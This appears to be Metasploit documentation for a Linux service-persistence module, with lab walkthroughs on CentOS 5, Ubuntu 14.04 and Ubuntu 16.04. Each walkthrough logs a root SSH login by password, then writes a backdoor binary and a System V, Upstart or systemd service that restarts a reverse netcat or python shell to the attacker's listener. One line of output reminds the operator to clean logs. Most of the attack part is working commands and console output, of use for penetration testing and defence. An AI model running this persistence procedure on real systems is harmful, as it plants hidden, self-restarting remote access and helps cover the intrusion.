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### Creating A Testing Environment
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This module has been tested against:
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1. Kali 2.0 (System V)
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2. Ubuntu 14.04 (Upstart)
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3. Ubuntu 16.04 (systemd)
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4. Centos 5 (System V)
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## Verification Steps
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1. Start msfconsole
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2. Exploit a box via whatever method
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4. Do: `use exploit/linux/local/service_persistence`
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5. Do: `set session #`
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6. Do: `set verbose true`
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7. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system.
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8. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system.
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9. Do: `set lhost`
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10. Do: `exploit`
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## Options
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**target**
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There are several targets selectable, which all have their own issues.
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0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries
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1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/<process>.log and .err
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2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever.
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3. systemd: This module is set to restart the shell after a 10sec pause, and do this forever.
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**SHELLPATH**
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If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin
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## Scenarios
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### System V (Centos 5 - root - chkconfig)
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Get initial access
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msf > use auxiliary/scanner/ssh/ssh_login
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msf auxiliary(ssh_login) > set rhosts 192.168.199.131
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rhosts => 192.168.199.131
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msf auxiliary(ssh_login) > set username root
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username => root
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msf auxiliary(ssh_login) > set password centos
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password => centos
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msf auxiliary(ssh_login) > exploit
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[*] 192.168.199.131:22 SSH - Starting bruteforce
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[+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux '
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[*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400
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[*] Scanned 1 of 1 hosts (100% complete)
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[*] Auxiliary module execution completed
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Install our callback service (system_v w/ chkconfig). Note we change SHELLPATH since /usr/local/bin isnt in the path for CentOS 5 services.
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msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
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msf exploit(service_persistence) > set session 1
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session => 1
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msf exploit(service_persistence) > set verbose true
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verbose => true
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msf exploit(service_persistence) > set SHELLPATH /bin
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SHELLPATH => /bin
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msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
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payload => cmd/unix/reverse_netcat
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msf exploit(service_persistence) > set lhost 192.168.199.128
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lhost => 192.168.199.128
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msf exploit(service_persistence) > exploit
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[*] Started reverse handler on 192.168.199.128:4444
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[*] Writing backdoor to /bin/GUIJc
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[*] Max line length is 65537
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[*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf
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[*] Utilizing System_V
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[*] Utilizing chkconfig
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[*] Writing service: /etc/init.d/HqdezBF
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[*] Max line length is 65537
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[*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf
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[*] Enabling & starting our service
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[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400
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Reboot the box to prove persistence
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reboot
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^Z
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Background session 2? [y/N] y
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msf exploit(service_persistence) > use exploit/multi/handler
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msf exploit(handler) > set payload cmd/unix/reverse_netcat
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payload => cmd/unix/reverse_netcat
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msf exploit(handler) > set lhost 192.168.199.128
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lhost => 192.168.199.128
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msf exploit(handler) > exploit
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[*] Started reverse handler on 192.168.199.128:4444
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[*] Starting the payload handler...
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[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400
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### Upstart (Ubuntu 14.04.4 Server - root)
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Of note, I allowed Root login via SSH w/ password only to gain easy initial access
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Get initial access
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msf auxiliary(ssh_login) > exploit
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[*] 10.10.60.175:22 SSH - Starting bruteforce
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[+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux '
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[*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400
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[*] Scanned 1 of 1 hosts (100% complete)
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[*] Auxiliary module execution completed
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Install our callback service (Upstart)
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msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
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msf exploit(service_persistence) > set session 1
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session => 1
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msf exploit(service_persistence) > set verbose true
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verbose => true
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msf exploit(service_persistence) > set payload cmd/unix/reverse_python
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payload => cmd/unix/reverse_python
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msf exploit(service_persistence) > set lhost 10.10.60.168
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lhost => 10.10.60.168
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msf exploit(service_persistence) > exploit
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[*] Started reverse handler on 10.10.60.168:4444
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[*] Writing backdoor to /usr/local/bin/bmmjv
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[*] Max line length is 65537
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[*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf
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[*] Utilizing Upstart
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[*] Writing /etc/init/Hipnufl.conf
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[*] Max line length is 65537
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[*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf
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[*] Starting service
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[*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log
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[*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400
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And now, we can kill the callback shell from our previous session
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^Z
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Background session 5? [y/N] y
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msf exploit(service_persistence) > sessions -i 1
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[*] Starting interaction with 1...
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netstat -antp | grep 4444
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tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash
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tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python
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kill 1783
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[*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError
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kill 1789
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Now with a multi handler, we can catch Upstart restarting the process every 10sec
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msf > use exploit/multi/handler
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msf exploit(handler) > set payload cmd/unix/reverse_python
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payload => cmd/unix/reverse_python
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msf exploit(handler) > set lhost 10.10.60.168
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lhost => 10.10.60.168
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msf exploit(handler) > exploit
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[*] Started reverse handler on 10.10.60.168:4444
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[*] Starting the payload handler...
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[*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400
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### systemd (Ubuntu 16.04 Server - root)
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Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works.
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While python shellcode works on previous sytems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode.
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Get initial access
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msf exploit(handler) > use exploit/linux/local/service_persistence
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msf exploit(service_persistence) > set session 1
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session => 1
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msf exploit(service_persistence) > set verbose true
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verbose => true
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msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
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payload => cmd/unix/reverse_netcat
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msf exploit(service_persistence) > set lhost 192.168.199.128
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lhost => 192.168.199.128
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msf exploit(service_persistence) > exploit
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[*] Started reverse handler on 192.168.199.128:4444
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[*] Writing backdoor to /usr/local/bin/JSRCF
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[*] Max line length is 65537
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[*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf
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[*] Utilizing systemd
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[*] /lib/systemd/system/YelHpCx.service
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[*] Max line length is 65537
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[*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf
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[*] Enabling service
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[*] Starting service
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[*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400
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^Z
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Background session 7? [y/N] y
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Kill the process on the Ubuntu target box via local access #good_admin
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root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444
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tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc
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root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632
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And logically, we lose our shell
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[*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError
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Now with a multi handler, we can catch systemd restarting the process every 10sec
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msf exploit(service_persistence) > use exploit/multi/handler
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msf exploit(handler) > show options
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Module options (exploit/multi/handler):
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Name Current Setting Required Description
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---- --------------- -------- -----------
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Payload options (cmd/unix/reverse_netcat):
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Name Current Setting Required Description
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LHOST 192.168.199.128 yes The listen address
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LPORT 4444 yes The listen port
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Exploit target:
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Id Name
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0 Wildcard Target
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msf exploit(handler) > exploit
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[*] Started reverse handler on 192.168.199.128:4444
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[*] Starting the payload handler...
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[*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400

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